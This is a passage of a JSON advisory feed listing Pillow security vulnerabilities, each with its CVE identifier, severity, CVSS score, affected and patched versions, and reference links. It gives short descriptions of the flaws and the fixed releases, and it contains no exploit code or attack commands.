12.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNzNqLXBxajUtdzN4N84ABWIz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13ang0LTRqY2otZzk4as4ABWIy","url":"https://github.com/advisories/GHSA-wjx4-4jcj-g98j","title":"Pillow has an integer overflow when processing fonts","description":"If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-04T20:18:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-wjx4-4jcj-g98j","https://nvd.nist.gov/vuln/detail/CVE-2026-42308","https://github.com/python-pillow/Pillow/releases/tag/12.2.0","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-165.yaml","https://github.com/advisories/GHSA-wjx4-4jcj-g98j"],"source_kind":"github","identifiers":["GHSA-wjx4-4jcj-g98j","CVE-2026-42308"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-04T21:00:09.692Z","updated_at":"2026-07-04T20:01:18.031Z","epss_percentage":0.00114,"epss_percentile":0.01727,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ang0LTRqY2otZzk4as4ABWIy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13ang0LTRqY2otZzk4as4ABWIy","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.2.0","vulnerable_version_range":"\u003c 12.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ang0LTRqY2otZzk4as4ABWIy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01eG13LXZjOXYtNHdmMs4ABWIx","url":"https://github.com/advisories/GHSA-5xmw-vc9v-4wf2","title":"Pillow has a heap buffer overflow with nested list coordinates","description":"Passing nested lists as coordinates to APIs that accept coordinates such as `ImagePath.Path`, `ImageDraw.ImageDraw.polygon` and `ImageDraw.ImageDraw.line` could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This was introduced in Pillow 11.2.1.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-04T20:18:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-5xmw-vc9v-4wf2","https://nvd.nist.gov/vuln/detail/CVE-2026-42309","https://github.com/python-pillow/Pillow/releases/tag/12.2.0","https://github.com/advisories/GHSA-5xmw-vc9v-4wf2"],"source_kind":"github","identifiers":["GHSA-5xmw-vc9v-4wf2","CVE-2026-42309"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-04T21:00:09.692Z","updated_at":"2026-07-04T20:01:18.032Z","epss_percentage":0.00133,"epss_percentile":0.03107,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eG13LXZjOXYtNHdmMs4ABWIx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01eG13LXZjOXYtNHdmMs4ABWIx","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.2.0","vulnerable_version_range":"\u003e= 11.2.1, \u003c 12.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eG13LXZjOXYtNHdmMs4ABWIx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13aGo0LTZ4NXgtNHYyas4ABVLv","url":"https://github.com/advisories/GHSA-whj4-6x5x-4v2j","title":"FITS GZIP decompression bomb in Pillow","description":"### Impact\nPillow did not limit the amount of GZIP-compressed data read when decoding a FITS image, making it vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation).\n\n### Patches\nThe amount of data read is now limited to the necessary amount.\nFixed in Pillow 12.2.0 (PR #9521).\n\n### Workarounds\nAvoid Pillow \u003e= 10.3.0, \u003c 12.2.0\nOnly open [specific image formats](https://pillow.readthedocs.io/en/stable/releasenotes/8.0.0.html#image-open-add-formats-parameter), excluding FITS.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-13T19:22:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-whj4-6x5x-4v2j","https://github.com/python-pillow/Pillow/pull/9521","https://github.com/python-pillow/Pillow/commit/3cb854e8b2bab43f40e342e665f9340d861aa628","https://pillow.readthedocs.io/en/stable/releasenotes/12.2.0.html#prevent-fits-decompression-bomb","https://nvd.nist.gov/vuln/detail/CVE-2026-40192","https://github.com/advisories/GHSA-whj4-6x5x-4v2j"],"source_kind":"github","identifiers":["GHSA-whj4-6x5x-4v2j","CVE-2026-40192"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-13T20:00:09.572Z","updated_at":"2026-08-06T13:03:05.754Z","epss_percentage":0.00671,"epss_percentile":0.48503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13aGo0LTZ4NXgtNHYyas4ABVLv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13aGo0LTZ4NXgtNHYyas4ABVLv","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.2.0","vulnerable_version_range":"\u003e= 10.3.0, \u003c 12.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13aGo0LTZ4NXgtNHYyas4ABVLv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZmgzLTNqbXAtcnZoY84ABSNi","url":"https://github.com/advisories/GHSA-cfh3-3jmp-rvhc","title":"Pillow affected by out-of-bounds write when loading PSD images","description":"### Impact\nAn out-of-bounds write may be triggered when loading a specially crafted PSD image. Pillow \u003e= 10.3.0 users are affected.\n\n### Patches\nPillow 12.1.1 will be released shortly with a fix for this.\n\n### Workarounds\n`Image.open()` has a `formats` parameter that can be used to prevent PSD images from being opened.\n\n### References\nPillow 12.1.1 will add release notes at https://pillow.readthedocs.io/en/stable/releasenotes/index.html","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-11T14:22:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-cfh3-3jmp-rvhc","https://github.com/python-pillow/Pillow/pull/9427","https://github.com/python-pillow/Pillow/commit/54ba4db542ad3c7b918812a4e2d69c27735a3199","https://pillow.readthedocs.io/en/stable/releasenotes/12.1.1.html","https://nvd.nist.gov/vuln/detail/CVE-2026-25990","https://github.com/python-pillow/Pillow/commit/9000313cc5d4a31bdcdd6d7f0781101abab553aa","https://github.com/advisories/GHSA-cfh3-3jmp-rvhc"],"source_kind":"github","identifiers":["GHSA-cfh3-3jmp-rvhc","CVE-2026-25990"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-11T15:00:08.493Z","updated_at":"2026-08-12T04:05:56.091Z","epss_percentage":0.00367,"epss_percentile":0.29553,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmgzLTNqbXAtcnZoY84ABSNi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZmgzLTNqbXAtcnZoY84ABSNi","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.1.1","vulnerable_version_range":"\u003e= 10.3.0, \u003c 12.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmgzLTNqbXAtcnZoY84ABSNi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14ZzhoLWo0NmYtdzk1Ms4ABJme","url":"https://github.com/advisories/GHSA-xg8h-j46f-w952","title":"Pillow vulnerability can cause write buffer overflow on BCn encoding","description":"There is a heap buffer overflow when writing a sufficiently large (\u003e64k encoded with default settings) image in the DDS format due to writing into a buffer without checking for available space. \n\nThis only affects users who save untrusted data as a compressed DDS image. \n\n* Unclear how large the potential write could be. It is likely limited by process segfault, so it's not necessarily deterministic. It may be practically unbounded. \n* Unclear if there's a restriction on the bytes that could be emitted. It's likely that the only restriction is that the bytes would be emitted in chunks of 8 or 16. \n\nThis was introduced in Pillow 11.2.0 when the feature was added.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-07-01T17:29:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-xg8h-j46f-w952","https://github.com/python-pillow/Pillow/pull/9041","https://github.com/python-pillow/Pillow/releases/tag/11.3.0","https://nvd.nist.gov/vuln/detail/CVE-2025-48379","https://github.com/python-pillow/Pillow/commit/ef98b3510e3e4f14b547762764813d7e5ca3c5a4","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2025-61.yaml","https://github.com/advisories/GHSA-xg8h-j46f-w952"],"source_kind":"github","identifiers":["GHSA-xg8h-j46f-w952","CVE-2025-48379"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":0.0,"created_at":"2025-07-01T18:08:45.198Z","updated_at":"2026-08-19T22:04:59.304Z","epss_percentage":0.00269,"epss_percentile":0.19113,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ZzhoLWo0NmYtdzk1Ms4ABJme","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14ZzhoLWo0NmYtdzk1Ms4ABJme","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"11.3.0","vulnerable_version_range":"\u003e= 11.2.0, \u003c 11.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ZzhoLWo0NmYtdzk1Ms4ABJme/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NHdtLWYyNDQteGhwM84AA6j6","url":"https://github.com/advisories/GHSA-44wm-f244-xhp3","title":"Pillow buffer overflow vulnerability","description":"In _imagingcms.c in Pillow before 10.3.0, a buffer overflow exists because strcpy is used instead of strncpy.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-04-03T03:30:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-28219","https://pillow.readthedocs.io/en/stable/releasenotes/10.3.0.html#security","https://github.com/python-pillow/Pillow/commit/2a93aba5cfcf6e241ab4f9392c13e3b74032c061","https://lists.debian.org/debian-lts-announce/2024/04/msg00008.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4XLPUT3VK4GQ6EVY525TT2QNUIXNRU5M","https://github.com/advisories/GHSA-44wm-f244-xhp3"],"source_kind":"github","identifiers":["GHSA-44wm-f244-xhp3","CVE-2024-28219"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":36.126947192905405,"created_at":"2024-04-03T15:04:50.057Z","updated_at":"2026-08-14T00:13:07.607Z","epss_percentage":0.00997,"epss_percentile":0.5952,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NHdtLWYyNDQteGhwM84AA6j6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NHdtLWYyNDQteGhwM84AA6j6","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"10.3.0","vulnerable_version_range":"\u003c 10.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NHdtLWYyNDQteGhwM84AA6j6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZjYzLWhmcDgtNTJqcc4AA4lV","url":"https://github.com/advisories/GHSA-3f63-hfp8-52jq","title":"Arbitrary Code Execution in Pillow","description":"Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter).","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-01-19T21:30:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-50447","https://github.com/python-pillow/Pillow/commit/45c726fd4daa63236a8f3653530f297dc87b160a","https://pillow.readthedocs.io/en/stable/releasenotes/10.2.0.html#security","http://www.openwall.com/lists/oss-security/2024/01/20/1","https://github.com/python-pillow/Pillow/releases","https://lists.debian.org/debian-lts-announce/2024/01/msg00019.html","https://devhub.checkmarx.com/cve-details/CVE-2023-50447","https://duartecsantos.github.io/2023-01-02-CVE-2023-50447","https://duartecsantos.github.io/2024-01-02-CVE-2023-50447","https://github.com/advisories/GHSA-3f63-hfp8-52jq"],"source_kind":"github","identifiers":["GHSA-3f63-hfp8-52jq","CVE-2023-50447"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2024-01-22T22:06:18.025Z","updated_at":"2026-07-14T18:07:38.664Z","epss_percentage":0.01703,"epss_percentile":0.74514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZjYzLWhmcDgtNTJqcc4AA4lV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZjYzLWhmcDgtNTJqcc4AA4lV","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"10.2.0","vulnerable_version_range":"\u003c 10.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZjYzLWhmcDgtNTJqcc4AA4lV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04Z2hqLXA0dmotbXIzNc4AA250","url":"https://github.com/advisories/GHSA-8ghj-p4vj-mr35","title":"Pillow Denial of Service vulnerability","description":"An issue was discovered in Pillow before 10.0.0. It is a Denial of Service that uncontrollably allocates memory to process a given task, potentially causing a service to crash by having it run out of memory. This occurs for truetype in ImageFont when textlength in an ImageDraw instance operates on a long text argument.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-11-03T06:36:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-44271","https://github.com/python-pillow/Pillow/pull/7244","https://github.com/python-pillow/Pillow/commit/1fe1bb49c452b0318cad12ea9d97c3bef188e9a7","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2023-227.yaml","https://devhub.checkmarx.com/cve-details/CVE-2023-44271","https://lists.debian.org/debian-lts-announce/2024/03/msg00021.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/N2JOEDUJDQLCUII2LQYZYSM7RJL2I3P4","https://github.com/advisories/GHSA-8ghj-p4vj-mr35"],"source_kind":"github","identifiers":["GHSA-8ghj-p4vj-mr35","CVE-2023-44271"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2023-11-03T20:05:50.749Z","updated_at":"2026-08-14T00:10:34.671Z","epss_percentage":0.01131,"epss_percentile":0.63518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04Z2hqLXA0dmotbXIzNc4AA250","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04Z2hqLXA0dmotbXIzNc4AA250","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"10.0.0","vulnerable_version_range":"\u003e= 0, \u003c 10.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04Z2hqLXA0dmotbXIzNc4AA250/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01NnB3LW1wajQtZnh3d84AA2QC","url":"https://github.com/advisories/GHSA-56pw-mpj4-fxww","title":"Duplicate Advisory: Bundled libwebp in Pillow vulnerable","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-56pw-mpj4-fxww. This link is maintained to preserve external references.\n\n## Original Description\nPillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863). Pillow v10.0.1 upgrades the bundled libwebp binary to v1.3.2.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-10-05T00:06:58.000Z","withdrawn_at":"2025-05-30T15:32:54.000Z","classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2023-4863","https://nvd.nist.gov/vuln/detail/CVE-2023-5129","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2023-175.yaml","https://github.com/python-pillow/Pillow/blob/main/CHANGES.rst#1001-2023-09-15","https://github.com/advisories/GHSA-56pw-mpj4-fxww"],"source_kind":"github","identifiers":["GHSA-56pw-mpj4-fxww"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":0.0,"created_at":"2023-10-05T01:05:51.504Z","updated_at":"2026-07-07T03:08:05.823Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NnB3LW1wajQtZnh3d84AA2QC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NnB3LW1wajQtZnh3d84AA2QC","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"10.0.1","vulnerable_version_range":"\u003c 10.0.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NnB3LW1wajQtZnh3d84AA2QC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNG1wLWp2aDItNzZmas4AAv2m","url":"https://github.com/advisories/GHSA-q4mp-jvh2-76fj","title":"Pillow subject to DoS via SAMPLESPERPIXEL tag","description":"Pillow starting with 9.2.0 and prior to 9.3.0 allows denial of service via SAMPLESPERPIXEL. A large value in the SAMPLESPERPIXEL tag could lead to a memory and runtime DOS in TiffImagePlugin.py when setting up the context for image decoding. This issue has been patched in version 9.3.0.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-11-14T12:00:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-45199","https://github.com/python-pillow/Pillow/pull/6700","https://github.com/python-pillow/Pillow/commit/2444cddab2f83f28687c7c20871574acbb6dbcf3","https://bugs.gentoo.org/878769","https://github.com/python-pillow/Pillow/releases/tag/9.3.0","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-42980.yaml","https://security.gentoo.org/glsa/202211-10","https://github.com/advisories/GHSA-q4mp-jvh2-76fj"],"source_kind":"github","identifiers":["GHSA-q4mp-jvh2-76fj","CVE-2022-45199"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:11:49.146Z","updated_at":"2026-08-11T14:11:53.432Z","epss_percentage":0.01111,"epss_percentile":0.62775,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNG1wLWp2aDItNzZmas4AAv2m","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNG1wLWp2aDItNzZmas4AAv2m","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"9.3.0","vulnerable_version_range":"\u003e= 9.2.0, \u003c 9.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNG1wLWp2aDItNzZmas4AAv2m/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tMnZ2LTV2ajUtMmhtN84AAv2p","url":"https://github.com/advisories/GHSA-m2vv-5vj5-2hm7","title":"Pillow vulnerable to Data Amplification attack.","description":"Pillow before 9.2.0 performs Improper Handling of Highly Compressed GIF Data (Data Amplification).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-11-14T12:00:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-45198","https://github.com/python-pillow/Pillow/pull/6402","https://bugs.gentoo.org/855683","https://cwe.mitre.org/data/definitions/409.html","https://github.com/python-pillow/Pillow/releases/tag/9.2.0","https://github.com/python-pillow/Pillow/pull/6402/commits/c9f1b35e981075110a23487a8d4a6cbb59a588ea","https://github.com/python-pillow/Pillow/commit/11918eac0628ec8ac0812670d9838361ead2d6a4","https://security.gentoo.org/glsa/202211-10","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-42979.yaml","https://github.com/advisories/GHSA-m2vv-5vj5-2hm7"],"source_kind":"github","identifiers":["GHSA-m2vv-5vj5-2hm7","CVE-2022-45198"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:11:49.154Z","updated_at":"2026-08-21T12:10:07.663Z","epss_percentage":0.01194,"epss_percentile":0.6556,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tMnZ2LTV2ajUtMmhtN84AAv2p","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tMnZ2LTV2ajUtMmhtN84AAv2p","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"9.2.0","vulnerable_version_range":"\u003c 9.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tMnZ2LTV2ajUtMmhtN84AAv2p/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocjhnLWY2cjYtbXIyMs4AArN6","url":"https://github.com/advisories/GHSA-hr8g-f6r6-mr22","title":"Buffer over-flow in Pillow","description":"When reading a TGA file with RLE packets that cross scan lines, Pillow reads the information past the end of the first line without deducting that from the length of the remaining file data. This vulnerability was introduced in Pillow 9.1.0, and can cause a heap buffer overflow.\n\nOpening an image with a zero or negative height has been found to bypass a decompression bomb check. This will now raise a SyntaxError instead, in turn raising a PIL.UnidentifiedImageError.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-26T00:01:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-30595","https://github.com/python-pillow/Pillow/blob/main/src/libImaging/TgaRleDecode.c","https://pillow.readthedocs.io/en/stable/releasenotes/9.1.1.html","https://github.com/python-pillow/Pillow/commit/c846cc881ebe34e3518412c2e3636433d9947280","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-43145.yaml","https://github.com/advisories/GHSA-hr8g-f6r6-mr22"],"source_kind":"github","identifiers":["GHSA-hr8g-f6r6-mr22","CVE-2022-30595"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:12:21.851Z","updated_at":"2026-08-14T00:13:07.609Z","epss_percentage":0.02328,"epss_percentile":0.8193,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocjhnLWY2cjYtbXIyMs4AArN6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocjhnLWY2cjYtbXIyMs4AArN6","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"9.1.1","vulnerable_version_range":"= 9.1.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocjhnLWY2cjYtbXIyMs4AArN6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yN3JtLThqNmgtcjkzM84AAjLe","url":"https://github.com/advisories/GHSA-r7rm-8j6h-r933","title":"Buffer Copy without Checking Size of Input in Pillow","description":"`libImaging/SgiRleDecode.c` in Pillow before 6.2.2 has an SGI buffer overflow.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-05-24T17:05:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-5311","https://github.com/python-pillow/Pillow/commit/a79b65c47c7dc6fe623aadf09aa6192fc54548f3","https://access.redhat.com/errata/RHSA-2020:0566","https://access.redhat.com/errata/RHSA-2020:0580","https://pillow.readthedocs.io/en/stable/releasenotes/6.2.2.html","https://www.debian.org/security/2020/dsa-4631","https://github.com/advisories/GHSA-r7rm-8j6h-r933","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-82.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MMU3WT2X64GS5WHDPKKC2WZA7UIIQ3A","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3DUMIBUYGJRAVJCTFUWBRLVQKOUTVX5P","https://usn.ubuntu.com/4272-1"],"source_kind":"github","identifiers":["GHSA-r7rm-8j6h-r933","CVE-2020-5311"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2022-12-21T16:12:17.395Z","updated_at":"2026-07-07T03:08:31.156Z","epss_percentage":0.04212,"epss_percentile":0.89683,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yN3JtLThqNmgtcjkzM84AAjLe","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yN3JtLThqNmgtcjkzM84AAjLe","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"6.2.2","vulnerable_version_range":"\u003c= 6.2.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yN3JtLThqNmgtcjkzM84AAjLe/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04bTl4LXB4d3EtajIzNs4AAelu","url":"https://github.com/advisories/GHSA-8m9x-pxwq-j236","title":"Pillow command injection","description":"Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.5.0 might allow remote attackers to execute arbitrary commands via shell metacharacters in unspecified vectors related to CVE-2014-1932, possibly JpegImagePlugin.py.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-05-17T04:45:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-3007","https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737059","http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-1932.html","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2014-87.yaml","https://github.com/advisories/GHSA-8m9x-pxwq-j236"],"source_kind":"github","identifiers":["GHSA-8m9x-pxwq-j236","CVE-2014-3007"],"repository_url":null,"blast_radius":46.02474094438634,"created_at":"2023-08-17T00:05:15.669Z","updated_at":"2026-07-29T14:14:08.456Z","epss_percentage":0.11597,"epss_percentile":0.95588,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bTl4LXB4d3EtajIzNs4AAelu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bTl